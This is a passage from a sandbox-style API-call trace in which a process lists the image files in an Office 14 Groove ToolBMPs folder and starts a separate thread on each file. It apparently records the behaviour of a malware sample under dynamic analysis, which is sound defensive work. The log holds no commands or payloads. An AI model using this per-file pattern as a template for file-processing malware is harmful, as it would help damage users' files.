Office\\Office14\\Groove\\ToolBMPs" [0126.893] wcscat (in: _Dest=0x107fc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.893] wcscat (in: _Dest=0x107fc0, _Source="MessageAttachmentIconImages.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImages.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImages.jpg" [0126.893] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x107fc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xba8 [0126.894] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75587800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75587800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessageAttachmentIconImagesMask.bmp", cAlternateFileName="MESSAG~1.BMP")) returned 1 [0126.894] wcscmp (_String1="MessageAttachmentIconImagesMask.bmp", _String2=".") returned 1 [0126.894] wcscmp (_String1="MessageAttachmentIconImagesMask.bmp", _String2="..") returned 1 [0126.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbe) returned 0x1198c0 [0126.894] wcscpy (in: _Dest=0x1198c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.894] wcscat (in: _Dest=0x1198c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.894] wcscat (in: _Dest=0x1198c0, _Source="MessageAttachmentIconImagesMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImagesMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImagesMask.bmp" [0126.894] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1198c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xba4 [0126.895] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75587800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75587800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x22f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessageHistoryIconImages.jpg", cAlternateFileName="MESSAG~1.JPG")) returned 1 [0126.895] wcscmp (_String1="MessageHistoryIconImages.jpg", _String2=".") returned 1 [0126.895] wcscmp (_String1="MessageHistoryIconImages.jpg", _String2="..") returned 1 [0126.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x107b40 [0126.895] wcscpy (in: _Dest=0x107b40, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.895] wcscat (in: _Dest=0x107b40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.895] wcscat (in: _Dest=0x107b40, _Source="MessageHistoryIconImages.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImages.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImages.jpg" [0126.895] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x107b40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xba0 [0126.896] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75587800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75587800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessageHistoryIconImagesMask.bmp", cAlternateFileName="MESSAG~2.BMP")) returned 1 [0126.897] wcscmp (_String1="MessageHistoryIconImagesMask.bmp", _String2=".") returned 1 [0126.897] wcscmp (_String1="MessageHistoryIconImagesMask.bmp", _String2="..") returned 1 [0126.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x1073c0 [0126.897] wcscpy (in: _Dest=0x1073c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.897] wcscat (in: _Dest=0x1073c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.897] wcscat (in: _Dest=0x1073c0, _Source="MessageHistoryIconImagesMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImagesMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageHistoryIconImagesMask.bmp" [0126.897] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1073c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb9c [0126.898] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46b7a400, ftCreationTime.dwHighDateTime=0x1c9e8b3, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x46b7a400, ftLastWriteTime.dwHighDateTime=0x1c9e8b3, nFileSizeHigh=0x0, nFileSizeLow=0x3efd, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierBackground.jpg", cAlternateFileName="NOTIFI~1.JPG")) returned 1 [0126.898] wcscmp (_String1="NotifierBackground.jpg", _String2=".") returned 1 [0126.898] wcscmp (_String1="NotifierBackground.jpg", _String2="..") returned 1 [0126.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x202ac4d0 [0126.898] wcscpy (in: _Dest=0x202ac4d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.898] wcscat (in: _Dest=0x202ac4d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.898] wcscat (in: _Dest=0x202ac4d0, _Source="NotifierBackground.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackground.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackground.jpg" [0126.898] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ac4d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb98 [0126.899] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50410c00, ftCreationTime.dwHighDateTime=0x1c9e8b3, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50410c00, ftLastWriteTime.dwHighDateTime=0x1c9e8b3, nFileSizeHigh=0x0, nFileSizeLow=0x40aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierBackgroundRTL.jpg", cAlternateFileName="NOTIFI~2.JPG")) returned 1 [0126.899] wcscmp (_String1="NotifierBackgroundRTL.jpg", _String2=".") returned 1 [0126.899] wcscmp (_String1="NotifierBackgroundRTL.jpg", _String2="..") returned 1 [0126.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x106940 [0126.899] wcscpy (in: _Dest=0x106940, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.899] wcscat (in: _Dest=0x106940, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.899] wcscat (in: _Dest=0x106940, _Source="NotifierBackgroundRTL.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackgroundRTL.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackgroundRTL.jpg" [0126.900] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x106940, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb94 [0126.900] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79304700, ftCreationTime.dwHighDateTime=0x1c91151, ftLastAccessTime.dwLowDateTime=0x6a513ab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79304700, ftLastWriteTime.dwHighDateTime=0x1c91151, nFileSizeHigh=0x0, nFileSizeLow=0x2f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierCloseButton.jpg", cAlternateFileName="NO00D7~1.JPG")) returned 1 [0126.905] wcscmp (_String1="NotifierCloseButton.jpg", _String2=".") returned 1 [0126.905] wcscmp (_String1="NotifierCloseButton.jpg", _String2="..") returned 1 [0126.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1b861750 [0126.905] wcscpy (in: _Dest=0x1b861750, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.905] wcscat (in: _Dest=0x1b861750, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.905] wcscat (in: _Dest=0x1b861750, _Source="NotifierCloseButton.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierCloseButton.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierCloseButton.jpg" [0126.906] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b861750, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1558 [0126.907] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f262800, ftCreationTime.dwHighDateTime=0x1c91151, ftLastAccessTime.dwLowDateTime=0x6a539c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7f262800, ftLastWriteTime.dwHighDateTime=0x1c91151, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierDisableDownArrow.jpg", cAlternateFileName="NO74B3~1.JPG")) returned 1 [0126.907] wcscmp (_String1="NotifierDisableDownArrow.jpg", _String2=".") returned 1 [0126.907] wcscmp (_String1="NotifierDisableDownArrow.jpg", _String2="..") returned 1 [0126.907] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x20279af0 [0126.907] wcscpy (in: _Dest=0x20279af0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.907] wcscat (in: _Dest=0x20279af0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.907] wcscat (in: _Dest=0x20279af0, _Source="NotifierDisableDownArrow.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableDownArrow.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableDownArrow.jpg" [0126.907] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20279af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb8c [0126.908] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82b9af00, ftCreationTime.dwHighDateTime=0x1c91151, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82b9af00, ftLastWriteTime.dwHighDateTime=0x1c91151, nFileSizeHigh=0x0, nFileSizeLow=0x307, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierDisableUpArrow.jpg", cAlternateFileName="NOTIFI~3.JPG")) returned 1 [0126.908] wcscmp (_String1="NotifierDisableUpArrow.jpg", _String2=".") returned 1 [0126.908] wcscmp (_String1="NotifierDisableUpArrow.jpg", _String2="..") returned 1 [0126.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20278170 [0126.908] wcscpy (in: _Dest=0x20278170, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.908] wcscat (in: _Dest=0x20278170, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.908] wcscat (in: _Dest=0x20278170, _Source="NotifierDisableUpArrow.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableUpArrow.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableUpArrow.jpg" [0126.908] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20278170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb88 [0126.909] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x864d3600, ftCreationTime.dwHighDateTime=0x1c91151, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x864d3600, ftLastWriteTime.dwHighDateTime=0x1c91151, nFileSizeHigh=0x0, nFileSizeLow=0x368, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierDownArrow.jpg", cAlternateFileName="NOTIFI~4.JPG")) returned 1 [0126.909] wcscmp (_String1="NotifierDownArrow.jpg", _String2=".") returned 1 [0126.909] wcscmp (_String1="NotifierDownArrow.jpg", _String2="..") returned 1 [0126.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1b862e00 [0126.909] wcscpy (in: _Dest=0x1b862e00, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.909] wcscat (in: _Dest=0x1b862e00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.909] wcscat (in: _Dest=0x1b862e00, _Source="NotifierDownArrow.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDownArrow.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDownArrow.jpg" [0126.910] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b862e00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb84 [0126.910] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89e0bd00, ftCreationTime.dwHighDateTime=0x1c91151, ftLastAccessTime.dwLowDateTime=0x6a87fa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x89e0bd00, ftLastWriteTime.dwHighDateTime=0x1c91151, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierUpArrow.jpg", cAlternateFileName="NO6669~1.JPG")) returned 1 [0126.910] wcscmp (_String1="NotifierUpArrow.jpg", _String2=".") returned 1 [0126.910] wcscmp (_String1="NotifierUpArrow.jpg", _String2="..") returned 1 [0126.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1b863380 [0126.911] wcscpy (in: _Dest=0x1b863380, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.911] wcscat (in: _Dest=0x1b863380, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.911] wcscat (in: _Dest=0x1b863380, _Source="NotifierUpArrow.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierUpArrow.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierUpArrow.jpg" [0126.911] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b863380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb80 [0126.912] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8472000, ftCreationTime.dwHighDateTime=0x1c90f02, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8472000, ftLastWriteTime.dwHighDateTime=0x1c90f02, nFileSizeHigh=0x0, nFileSizeLow=0x133a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierWindowMask.bmp", cAlternateFileName="NOTIFI~1.BMP")) returned 1 [0126.912] wcscmp (_String1="NotifierWindowMask.bmp", _String2=".") returned 1 [0126.912] wcscmp (_String1="NotifierWindowMask.bmp", _String2="..") returned 1 [0126.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1b863220 [0126.912] wcscpy (in: _Dest=0x1b863220, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.912] wcscat (in: _Dest=0x1b863220, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.912] wcscat (in: _Dest=0x1b863220, _Source="NotifierWindowMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMask.bmp" [0126.912] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b863220, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb7c [0126.913] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a588200, ftCreationTime.dwHighDateTime=0x1c90f02, ftLastAccessTime.dwLowDateTime=0x6a87fa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3a588200, ftLastWriteTime.dwHighDateTime=0x1c90f02, nFileSizeHigh=0x0, nFileSizeLow=0x133a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierWindowMaskRTL.bmp", cAlternateFileName="NOTIFI~2.BMP")) returned 1 [0126.913] wcscmp (_String1="NotifierWindowMaskRTL.bmp", _String2=".") returned 1 [0126.913] wcscmp (_String1="NotifierWindowMaskRTL.bmp", _String2="..") returned 1 [0126.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x202797f0 [0126.913] wcscpy (in: _Dest=0x202797f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.913] wcscat (in: _Dest=0x202797f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.913] wcscat (in: _Dest=0x202797f0, _Source="NotifierWindowMaskRTL.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMaskRTL.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMaskRTL.bmp" [0126.913] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202797f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb78 [0126.914] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7689a500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7689a500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e35, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlineToolIconImages.jpg", cAlternateFileName="OUTLIN~1.JPG")) returned 1 [0126.914] wcscmp (_String1="OutlineToolIconImages.jpg", _String2=".") returned 1 [0126.914] wcscmp (_String1="OutlineToolIconImages.jpg", _String2="..") returned 1 [0126.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x202798b0 [0126.915] wcscpy (in: _Dest=0x202798b0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.915] wcscat (in: _Dest=0x202798b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.915] wcscat (in: _Dest=0x202798b0, _Source="OutlineToolIconImages.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImages.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImages.jpg" [0126.915] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202798b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb70 [0126.916] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bad200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6c393490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77bad200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1938, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlineToolIconImagesMask.bmp", cAlternateFileName="OUTLIN~1.BMP")) returned 1 [0126.916] wcscmp (_String1="OutlineToolIconImagesMask.bmp", _String2=".") returned 1 [0126.916] wcscmp (_String1="OutlineToolIconImagesMask.bmp", _String2="..") returned 1 [0126.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x20278cb0 [0126.916] wcscpy (in: _Dest=0x20278cb0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.916] wcscat (in: _Dest=0x20278cb0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.916] wcscat (in: _Dest=0x20278cb0, _Source="OutlineToolIconImagesMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImagesMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImagesMask.bmp" [0126.916] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20278cb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb6c [0126.917] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bad200, 